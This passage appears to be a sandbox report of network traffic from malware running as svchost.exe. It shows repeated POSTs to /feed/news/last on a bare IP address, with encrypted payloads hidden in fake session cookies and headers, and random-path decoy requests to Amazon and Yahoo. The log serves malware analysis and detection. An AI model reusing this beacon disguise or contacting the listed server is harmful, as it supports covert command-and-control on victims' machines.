2021-09-28 07:54:37 UTC	1123	IN	Data Raw: 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e Data Ascii: r_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brandin

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.3	50072	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:37 UTC	1124	OUT	POST /feed/news/last HTTP/1.1 Content-Type: application/octet-stream Cookie: HSID=tedOfcOYdc65RX%2F26%2F3QUoPiI5v3tuZwGpr7NytKG%2BIaxFGZP4gtgV%2BMz%2FfNE1oMxYgc11WfyoPmSsBkYYOcys7kks9z46Qe3RNnq2ozIyUokOQPsFecm8kLYjE96%2Bv%2Fh2QkB8aIICxQfwxZk5IhoXEC49QpnoynX72tr%2B0nO7Bp6F9VLx14i4y7tWQcMS3H04%2FCCzGMuoDUWdyVYOoKPCu8QgQseuConb6bx%2Fc4oNJNYBRO3yRUZCeSM2VgHbeBUW2ZAYeNcq3QEEfQfRu0%2BLY4FHjMTMYqf%2BmcW%2B%2BWkUUAwhH8HuOjezNPXp1M8IcSxSb%2BKOyhQWyfGVwIaV6U7w%3D%3D;SIDCC=m36OyvSKYsIiqCLZveI3q96mvnY3Uzmk6UrUi%2F6IBmwuPLJvP%2FujTqfnRYy6DGTYZlfD9UgNxGD2ooxwhytBnTc5NYtvviif4eajlux%2BtPFfCnknKvbjVcBR4U9W2jvDJKBnjJhnqN3aUpaSzGx0ANn%2BkteydZjq7HLpV5QiBnFfb3BqIbmt%2BxAqV2K6z%2Bf4giJqjsL%2BaXfH9BrVnOCWsCejH1etJF28U%2FmjEeENRKQjKuwwxhayUSc1Bz6rLKXKBsTx4trH%2BFFWiOiI25sV90CcgIwg41%2F4TUaO80nVIj800w9Herzo7JJxWaWtRTP8t%2BJBY6Mi3ct8ghv912bfEg%3D%3D;SID=q%2FCy3IxtwKk0EKFq07jHEde7%2Bqyg0X4gWLj6FHPJkcLEN1D05c6kmfkoho5Lg4Nyrnp%2BfNtzc1aw%2BQP02lbo1vV0tNK43NZPUzsn7uRmEdow8De4a3ms73cfBtS7t8Gh7BmF1Ksh8ig2AjbzCtZ4s%2F8H8QVIzTFPTJYZvp3MpFU9Qg1d%2BDolHbf42Gm1mTG%2FCP%2FMeDl5jNC8M9DhcrmQpn7DIoGhAASHPVpQji6v8drcfh3VNzMiDexZGx%2FSE3YAZlW8XJQ7PZ4%2F66Z8TAApK2ydsz7i1jLhAZQHFQ6CsKSj8dv6SZUIgHkhfn8TUUEWSye%2F4kzryOQbJYO%2Fu69Xtw%3D%3D;SSID=0dXJKoRMZhIJlY2wTvdLVqjZWNtA2VId%2BF%2Fr9D20tE4i1RUVPhlauy9XoS%2BHeSPybvCprMwsbHWgCi2%2B4tPbtfbi9p55NVk5a8HD3t8Gt9YPJiv29rHSoOLxNfMkqhiyxLe7aapEPJL7hRP5LrKLYJR2fCVAdT9jJm66rvLlP9C9puz80cCMo2i7pcQtTTqrA%2FlqaF0aB8f5V9AReZ0dv%2FhYWQIvlwJ0ki9xl%2BGLVLy9iBnPJ4yCMp9zK8%2Bg1%2BaI%2Fc2VLhTs%2BCC%2BioSS%2Fqud6pcNBlM06Eq9144l%2BQtMQcsfxskwzJ3ruJBKviO0C5f%2BM3TwbW8gxQUTjsFh6zcNDw%3D%3D; X-Tag: 6cCcnH5LdpYFxofb1nMSiDdGNPjWB7Qmcb7m72M8hW9%2FDfGFyYm0WjNEan1e3eKruxHpqnay7igzxmlwNWW8R3oSe7KjSGaa2cRcSH5roKu2efi1zzdxDLh09LRBcDWy6JX%2FEKJhtwYFiHar%2FMP%2BQ%2BxO%2FuJ4QfvVZzwmAWKCtjLFT3QbvHg8ZENdEaPYs3DSZ0ZfFwwXb7%2BuKBUMm%2FS694Rl0Zhw0y%2BAsvSk7U%2BsGvvV1uVP7tuB%2BBmg2y4P8sJcc0PYJ5c0qHq5uZ6rtap0kGf9EyqH0nzUz1ysVPo1av%2FJV4Emf9amFPZ4hTqg8oiG%2B6nn1Ip70APh0V%2FVWc2%2Fsg%3D%3D X-Csrf-Token: XY18fOVa%2Bmg%2F8i9uDqGjtaP82%2BP3yA%2FPNTCMAlfTtDsJmToGRilEET9LWWJPjJJpl29RledRNZrz5f1Q2BV9dkIacsmnPsBYbD35Iil6qLwa%2BdX2t8NIM9ZRJYdPHmJH66Rk1BQ9urzjV2kosl%2B8hg9chKQSK8hvfpudQmKp4QJeZ3s%2B9Snu4l%2Bk99etPGF96%2FGSipCn0Xa34F%2Bt2sM3tUa9BTQJ2iLcFkSEX7YAoH4mNOWAOiAbpNQEZ1SykchImreSbWdUejnvIPjs9Kx3xkrYm9nsEGpRcCemn0xUU8qAlfofWcZCuJsowJHG8Fo6OXPYoe5OvbPCozxzQeLVJA%3D%3D X-Request-ID: VKbZruMQ3JUMYQgp0cR21HrfJGIffUoHcIzoBhLKGfZqCa1klOFzEsRYJTQa%2Bqhvn7d%2Fg55%2BXIPtsJR8xav1HSwFNfULuaGcdZUf%2Br2RWTWUgqpmGSvPxzqY9T4VzINxGq3WeIIBrF%2BCfoQw%2Byl%2Fuiw7f%2Bxg3xxWGcW3Umky4Jj6%2BX5EQ%2FK9XIP04QIFbVLOEZDJeYNqu765naPI%2B0aRdHZHlDiAdsCI6DthYVGH4iIwod1vzBUTj%2BABb%2FPXGZsCGB%2B2zipGDaHHB7QucxG7rhDHhK3pRXVDIhPlxO9nI7yBDRhuZ92iGRhd%2Frpx3PN8JTp02fV%2FW9737QxOlgBsdg%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 161.35.29.127 Content-Length: 256 Cache-Control: no-cache
2021-09-28 07:54:37 UTC	1126	OUT	Data Raw: 7a 58 e2 09 fa 5e 6f 8e 24 f0 76 fd c9 c5 57 0c 7f 2d 8f 2a 88 33 e1 f2 7d 98 f8 01 05 0e cc 8d a4 56 7e c6 63 cc 41 3b 9e b3 aa 37 0a de 49 aa e1 5e 66 0c cb e0 11 ae d9 8b de f8 f5 9c b2 6b 6b 71 ba 21 d1 24 7e 56 63 2f 5e f9 5a da a0 e0 ea c2 d6 d7 7e 0f 03 63 b2 9f 22 78 e5 db c9 10 c3 bc af da 29 cb e7 81 ed 54 79 2f c1 af 84 34 3a 84 7c 18 54 d8 3c 67 8e 95 a0 a2 8d aa db 20 0e 2a 86 10 06 18 3e 40 0d 29 4a 88 6f 8c 59 0e e9 be 77 5b 6d 1d ed 45 63 e3 49 a4 65 79 13 e2 fe ee dd fd a3 6e a9 8c 00 45 ee d4 04 d2 d2 96 5c f7 c4 91 7a d2 3c c3 94 61 b9 f1 2b ba 26 50 a8 09 12 f2 a3 d7 c3 88 a3 03 24 76 99 62 92 07 43 9c 3d 9f b3 76 58 85 b7 99 98 ef 01 36 3e a5 7e 9c d3 96 da 31 7d b3 c8 1c 89 59 11 16 81 09 0e dd 54 9d 3e 70 7f 3e 97 d3 84 d6 c6 eb e3 Data Ascii: zX^o$vW-3}V~cA;7I^fkkq!$~Vc/^Z~c"x)Ty/4:\|T<g >@)JoYw[mEcIeynE\z<a+&P$vbC=vX6>~1}YT>p>
2021-09-28 07:54:40 UTC	1128	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:40 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.3	50073	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:54:38 UTC	1127	OUT	GET /ly30h9u0yrnbcne3gh/5uhvH6rsX0H6Ort7h9f2Kk8gUKz8Vjn/rccOf0uquugl4aQ9ttsh5l100sqKiUmoU2A9/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:54:38 UTC	1127	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:54:38 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: RFMXHZNCDGWYBX4W7HD3 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:54:38 UTC	1128	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49887	162.219.225.118	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:45 UTC	897	OUT	GET /orbyj7P4wEdaicnsh6grcX1wVf0Otx0ZHg558e67TrdsyycJ/hh1fng7aCii8gri0gqfs61Pcvotdxular2lzerN/xoewvbs766suwyl9sqx2so0eS2xjsZW6hneruzfR/muchxeicbigiOlbdfmuV69og49u53h0Xtmxc1mCl8345yvj/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.amazon.com Connection: Keep-Alive
2021-09-28 07:53:45 UTC	897	IN	HTTP/1.1 404 Not Found Connection: close Content-Length: 897 server: Server date: Tue, 28 Sep 2021 07:53:45 GMT content-type: text/html permissions-policy: interest-cohort=() x-amz-rid: JAB08P7HAGTBBQNKSPK0 x-sdch-encode: 0 last-modified: Tue, 10 Aug 2021 22:12:21 GMT etag: "687-5c93bcbae3b40-gzip" accept-ranges: bytes content-encoding: gzip vary: Accept-Encoding,User-Agent,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent strict-transport-security: max-age=47474747; includeSubDomains; preload x-frame-options: SAMEORIGIN
2021-09-28 07:53:45 UTC	898	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 55 5d 6f db 36 14 fd 2b 2c 85 0e f1 12 59 92 93 74 8d be b0 15 ed 82 3d 6c 18 d0 00 7b 18 86 80 22 af 28 2e 14 c9 91 57 8e 5d c3 ff 7d 90 e4 d8 6e fa d8 07 11 22 75 ef 3d f7 1c f2 50 e5 1b 61 39 6e 1d 90 0e 7b 5d 97 87 11 98 a8 cb 1e 90 11 de 31 1f 00 2b 3a 60 1b bf a7 87 d5 0e d1 c5 f0 df a0 d6 15 dd c4 03 8b b9 ed 1d 43 d5 68 a0 84 5b 83 60 b0 a2 0a 2a 10 12 5e 92 0c eb a1 a2 6b 05 cf ce 7a 3c 8b 7b 56 02 bb 4a c0 5a 71 88 a7 c9 15 51 46 a1 62 3a 0e 9c 69 a8 b2 2b 12 3a af cc 53 8c 36 6e 15 56 c6 d2 ba 44 85 1a ea 5f 7a f6 c5 9a 25 b7 3d f9 93 49 20 7f 58 24 bf da c1 88 32 99 03 ca 80 5b 0d f5 48 ed aa b1 62 bb 73 4c 08 65 64 9e 16 3d f3 52 99 3c dd ab 5e ee 1a eb 05 f8 3c dd 47 ec 2a 6a 76 0d e3 4f d2 8f 85 f2 68 75 bd Data Ascii: U]o6+,Yt=l{"(.W]}n"u=Pa9n{]1+:`Ch[`^kz<{VJZqQFb:i+:S6nVD_z%=I X$2[HbsLed=R<^<GjvOhu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49892	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:46 UTC	899	OUT	GET /GeCxeor0xk2eOn1u85uU39kv/20Nmne1j3m7spepr113v7LnkV0Z/lnl8supHr8f0c83pgea9A5Sus9x63zmcr/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive
2021-09-28 07:53:46 UTC	899	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:46 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 9 server: ATS Content-Length: 746 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=cjoaigpgl5iga&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:46 UTC	900	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 34 36 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 2d 53 65 70 2d 32 30 32 32 20 30 37 3a 35 33 3a 34 36 20 47 4d 54 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; expires=Wed, 28-Sep-2022 07:53:46 GMT; path=/; domain=.yahoo.comExpect-CT: max-age=31536000,
2021-09-28 07:53:46 UTC	901	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 47 65 43 78 65 6f 72 30 78 6b 32 65 4f 6e 31 75 38 35 75 55 33 39 6b 76 25 32 66 32 30 4e 6d 6e 65 31 6a 33 6d 37 73 70 65 70 72 31 31 33 76 37 4c 6e 6b 56 30 5a 25 32 66 6c 6e 6c 38 73 75 70 48 72 38 66 30 63 38 33 70 67 65 61 39 41 35 53 75 73 39 78 36 33 7a 6d 63 72 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2fGeCxeor0xk2eOn1u85uU39kv%2f20Nmne1j3m7spepr113v7LnkV0Z%2flnl8supHr8f0c83pgea9A5Sus9x63zmcr%2f';if(window!=window.top){ document.write('<p

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49893	87.248.100.216	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:46 UTC	901	OUT	GET /rw6fibQdwKcmdvsetfommtz0RqCEbeuyoqtwqf/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: www.yahoo.com Connection: Keep-Alive Cookie: B=clggcmtgl5iga&b=3&s=a5
2021-09-28 07:53:46 UTC	902	IN	HTTP/1.1 404 Not Found date: Tue, 28 Sep 2021 07:53:46 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: private x-content-type-options: nosniff content-type: text/html; charset=UTF-8 x-envoy-upstream-service-time: 8 server: ATS Content-Length: 642 Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=bvk3co1gl5iga&partner=; X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block
2021-09-28 07:53:46 UTC	903	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 42 3d 63 6c 67 67 63 6d 74 67 6c 35 69 67 61 26 62 3d 33 26 73 3d 61 35 3b 20 45 78 70 69 72 65 73 3d 57 65 64 2c 20 32 38 20 53 65 70 20 32 30 32 32 20 31 33 3a 35 33 3a 34 36 20 47 4d 54 3b 20 4d 61 78 2d 41 67 65 3d 33 31 35 35 37 36 30 30 3b 20 44 6f 6d 61 69 6e 3d 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 Data Ascii: Set-Cookie: B=clggcmtgl5iga&b=3&s=a5; Expires=Wed, 28 Sep 2022 13:53:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"Referrer-Policy: no-ref
2021-09-28 07:53:46 UTC	903	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 27 75 74 66 2d 38 27 3e 0a 3c 73 63 72 69 70 74 3e 0a 76 61 72 20 75 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 3f 65 72 72 3d 34 30 34 26 65 72 72 5f 75 72 6c 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 72 77 36 66 69 62 51 64 77 4b 63 6d 64 76 73 65 74 66 6f 6d 6d 74 7a 30 52 71 43 45 62 65 75 79 6f 71 74 77 71 66 25 32 66 27 3b 0a 69 66 28 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 74 6f 70 29 7b 0a 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 70 3e 43 6f 6e 74 65 6e 74 20 69 73 20 63 75 72 72 65 6e 74 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 67 65 Data Ascii: <html><meta charset='utf-8'><script>var u='https://www.yahoo.com/?err=404&err_url=https%3a%2f%2fwww.yahoo.com%2frw6fibQdwKcmdvsetfommtz0RqCEbeuyoqtwqf%2f';if(window!=window.top){ document.write('<p>Content is currently unavailable.</p><img src="//ge

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49894	161.35.29.127	443	C:\Windows\System32\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:47 UTC	904	OUT	POST /feed/news/last HTTP/1.1 Content-Type: application/octet-stream Cookie: HSID=C58GIwb%2BGcFf%2BsQwNPilvwa7B3RG3H7gEO7%2B0JqTl6tsLBpB0wcZzvUvj%2FVLQCqaE%2FMmfs7d33BvC6VmFRp45y%2BX9qRzk%2F0An1NN1BTbeqd8MP06rEzN2WxgxDQ1LtJLt47Owy09Pg99sus0SQ7cqgVYjMGK7yig9ei9qEr8Ytt0m%2F%2BBYOzl7elFhrcRq9%2FCRCTehBMX0ex9VSq9ia0XbDxyI4yIOGakREKA9ti851nqtbwRQenaSvuTZg0ZnFzphVpqJOmAV8w6carOvT1VoJeNovs23y9pwvbG2jCn6Q2qquuKgnUTOiDAh7M2JrryQ4QRD8HhrINZuQ4sZpi0zA%3D%3D;SIDCC=aghH1Yyo1BFnIQxStvXUHQNhm2jaPSCOu6IY62ePt1mCI4bx5a2GY3eerDUXssJm7W%2BLf%2FpPu5dntqK775fUSHBh0p8vJIqMHtDv1EsLe42pcqknlzNgK4xPoarsKDZdCPxwBtBzW%2F%2F%2F5F5kdC2M5DfNLzjS2E5DyIxvHrU1oTETgAg1SIW1aLpK0D03tHqUu0%2BFxnLal58x2uIIKU6AOZ66YEgbouzx7jDq%2FhXSsfsQ%2BxlH4%2BsNHve8rc%2BN13atbVQN9c6DtWSMTzIJ5RGRbWiXXkO7NGiC0UttdW8nGvuppbM%2BsMCn%2FDo17hwSNkdBgx%2BoCRz62Ah3gFc32GC35w%3D%3D;SID=GtmEKXOTsQO90huJmgeDqGPQZGRlV2BRnQy%2FfxuJ%2FqyxOKhpAhVxRssNLVWD8xucxDGGg3AwCmXj6wtYFHqXlvl5LRxGX4k0XKiJeKojKWhOkZH3bQSJ9G4nmje1lZzheqW%2BQhk7dHHueSLbTPuVZ%2FkvnZjQEPZidMRWV6BJ39zHkQaxmVjvOzLcvrJUl21bMgmoGFPrvnKsM2FjoGYdEoBiPtMl4rfJKpvciSqiwZY1orQai9VRSiPhU%2FCUqDyrTj5iGpzEy2QNDnARyC4pCVYo8hBgswAgbv5ihWnX%2FWsobwFiqyWdD34UJ%2B%2FBMbXEwodO5jheN4LISr%2FyrIGzjw%3D%3D;SSID=NA5CL2i0MA%2BYo5hEQDPlMMlpTTgviH%2BMAkGXVOQno3JkBLRFJzGNS6Em9owj2KFWihpR8k%2FRJ4rAah5NuJ82Kc%2B9pdYMbzUgiZ6m4JpcAGmLAEZuToetEwBTYX%2FMFDBJEtNqLYDHDYe69Q3hJ1I62jT8EiYkYxp4BjYJz5A%2FKHg8pGJ9a0gzDMrI9a7UIfBIlSaApB3l5NsZEKrvP28BcSEe%2BthpAn956FosGs6Fuzx%2FfY2ClyL34uiDGc6r9DCU6ljSwj7Ue1ILOSvimNOhYOsztEVypnkwwS4qdBeuvavcCxHT8%2FzUnLbslOq7%2FDBZEAHD2huyo1H16vBumkQv9g%3D%3D; X-Tag: WpQoj0r4IVOOj1WB3jD%2B94gCtrEKo1b5L7ugAlcGMa2E0gIG05t%2BDWWo1Z9KDJ4b6%2BmmHZll0SZ0z6nwc6bpxDo2csdM0gk8Xc%2F4fEuuxaOEiTU19xDo1xtAevQoQFUN9CsigOSdxNr0eHXGVT0twwupQKcspv7IgTU1mgympwbpGLuDkWgR3Z6rqMCtjr%2BYkM9pXJFYRT4QXco%2F6qw%2FrD2FWtLZiAz9IPR%2FK3vHzZqIecxsgMOzVUcejM8ClSNKApTBCWc5glhcv3em95aWCmIMJ4Hme4vYQmTUah%2FtvdbI2G17W8RIPWUivH1F3MYkN1D%2Bh%2BZDTIpV0ucpucIPig%3D%3D X-Csrf-Token: HtKtKx6l%2F71BEL77jv9ntk0XfwyvThgPzZNzXB4StKsqsUyENqY9HTasTTcOCFWn42lKyDlMMha3Jf7xI18lWIPGAK8rkWdNaaoBPe05F5IHjE7zOGVkvZTMuG4TrPiX0ZRz%2BLLVyI83Mu3qx0xsJDxdcxlMx9ePXRF%2BBDCjmAFizFo1lRq9q2tQutIt8e89NX0eW0ZreoksaEBYpq4feYU0DZZOEP4%2BLmWrjIXZaFaKeH7%2Fo%2BObiPJ1YlO68wTJAtN%2Fcd06%2B5IRAU%2BoAxUo6ZqMWwlXfamUYCuA5JTuCfBnA4jRRZYlaKQ%2BSjBttsUsuMyCEle7k8jXcd%2BzbbruvQ%3D%3D X-Request-ID: n4Gf7BnC05jK5OaEACPmo7IahddgHt%2BQu70DVCv9%2BcCRfPk4fFegVKV48zTiEc%2BFhvjTWnaKqsnJFngtCszMeJgH3yMRTOGp3GwRhyymL7XM8W5I2nw0BJRlv6xookq4c2V0YEMgkpSAohRz4Fu03rtCojWsNUGPjEw176zAUzyBnOOywguBqQDj5JpGtmPQdJPavPylaGBk2faroE8sQS9QeJJlOSEEA7SRGbWKwXxCNT6UzDl%2B%2FhUaVMbTFMf8xVMzN601rv520Dxi3gQU%2FIwo8rwjOc2RkMlggg%2BqAEQBa1dc0UOcu5%2BjQkivqYYriHmbFz%2BipYoGz5qcwQr6EQ%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 